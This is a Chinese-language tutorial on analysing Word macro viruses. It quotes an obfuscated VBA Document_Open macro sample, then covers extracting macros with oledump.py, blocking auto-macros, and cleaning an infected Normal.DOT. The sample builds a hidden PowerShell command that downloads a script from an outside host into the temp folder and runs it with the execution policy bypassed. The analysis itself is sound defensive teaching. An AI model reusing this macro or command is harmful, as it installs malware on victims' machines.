0x01实例一
Private Sub Document_Open() Dim CGJKIYRSDGHJHGFFG As String CGJKIYRSDGHJHGFFG = "cmd /K " + "pow" + "eR" & "sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://skycpa.in/file.php','%TEMP%Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%Y.ps1" Shell CGJKIYRSDGHJHGFFG, 0 MsgBox ("Unreferenced library required") End Sub
这段宏首先拼接了一段字符串CGJKIYRSDGHJHGFFG,这段字符串是一段命令,接下来就调用Shell() ,执行这段命 令。但是CGJKIYRSDGHJHGFFG的内容经过混淆,我们没办法一眼看出执行了什么命令,我们可以改造宏代码,使用 Msgbox将CGJKIYRSDGHJHGFFG这段命令打印出来:
现在就一目了然了,这段cmd命令执行了两段powershell命令,第一段powershell命令是从'http://skycpa.in/file.ph p'中下载文件,并另存为'%TEMP%Y.ps1',第二段powershell命令就是执行Y.ps1,关于Y.ps1的分析不属于宏病毒 的范畴,这里就不做分析了。
0x02 oledump.py
在之前的分析中,我们先启用宏,然后打开VBA编辑器分析宏代码。这个时候我们不仅可以直观的看到宏代码,还可 以动态调试。但是,我们选择启用宏后,宏代码就会运行,如果存在恶意行为,恶意行为就会执行。这样的分析方式 存在一定的风险,那么,有没有一种方式,不运行宏就能查看宏代码呢?当然有,那就是oledump.py oledump.py是一个用于分析OLE文件(复合文件二进制格式)的程序,我们可以使用它提取文档中的宏代码。其查 找基于二进制文件格式的文件中的内容的流程:
1.读取文件流。
2.识别可能包含要查找的内容的结构。 3.通过第一个结构,找到下一节的位置。
4.在流中转到该节。 5.重复前面两个步骤,直到找到所需的内容。
6.读取并分析内容。 接下来我们简单介绍一下oledump的使用,我们依然以demo2为例进行介绍:
运行:oledump.py demo2.doc
这是oledump对doc文件的基础的分析,显示了这个文件的Stream数据(在接下来的章节中我们会进行介绍 Stream),一共包含5段,其中A3这一段数据上标记了字母‘M’,表示这段数据中含有VBA宏(Macro)。 oledump.py有许多参数可以选择,使用oledump.py -m 可以查看oledump.py 的帮助信息,这里我们要用到的参数 是-s和-v -s 段号:选择上分析出的某一段来查看内容
-v :解压缩VBA宏
上面两个参数结合起来用就可以找出宏源码:
oledump.py -s A3 -v demo2.doc
可以看到宏代码被解析出来了。在实际分析时,-s后的参数可以选择‘a’,表示分析所有段的数据,还可以使用‘>’符号 将宏代码数据存储在新文件中:
后,再介绍一下 decoder_ay.py和-d参数,它可以将文件中的exe数据dump下来。有一些文档宏存储了exe数据, 这个时候我们就可以使用下列命令,将文档中的exe数据导出:
oledump.py -s 14 -D decoder_ay.py -d 1.doc >1.exe 如果我们只是想dump某一段数据,而不关心是不是exe数据,使用如下命令: Oledump.py -s 段名 -d 文件名 >新文件名
0x03越过自动宏
如果怀疑文档中存在宏病毒,可以在Office打开文档的时候,始终按住SHift键,将禁止存在的一起自动宏。这和禁用 宏有异曲同工之妙,Shift键可以在退出时禁止任何AutoClose宏。这种方法的缺陷也很明显,它只能对付一时,当宏 病毒利用其它菜单选项来实现破坏活动,这种方法就不再有效。
0x04 恢复被宏病毒破坏的文档
对于普通用户来说,清理宏病毒显得麻烦,因为文档被宏病毒感染后(实际上是文档使用的模板文档被感染),使用 文档时常常会出现一些异常情况,即使用杀毒软件将所有带毒的文档文件都处理一遍,但是,当重新打开它们时病毒 又出现了。有些用户采用的是将Office卸载重装,但是有时候问题还是没有被解决。 其实,对于宏病毒的清理并不难,下面以删除Word宏病毒为例分步骤详细说明: ① 退出Word程序,先查看系统盘根目录下是否存在Autoexec.DOT文件,如果存在,而又不知道它是什么时候出 现,则将其删除。
② 然后找到Normal.DOT文件,一般位于C:Documents and Settings AdministratorApplication DataMicrosoftTemplates目录下,用先前干净的备份将其替换,也可以直接删除,Word不会因为找不到 Normal.DOT而拒绝启动,它会自动重新生成一个干净的没有任何外来宏的Noraml.DOT。
③ 查看Noraml.DOT所在的目录中是否存在其他模板文件,如果存在且不是自己复制进去的,将其删除。 ④ 重新启动Word程序,查看Word是否恢复正常了。
⑤ 后检查宏病毒防护是否被启用了,某些病毒会自动禁用宏病毒防护功能,如果不启用禁用宏功能,Word会很 快再次被病毒感染。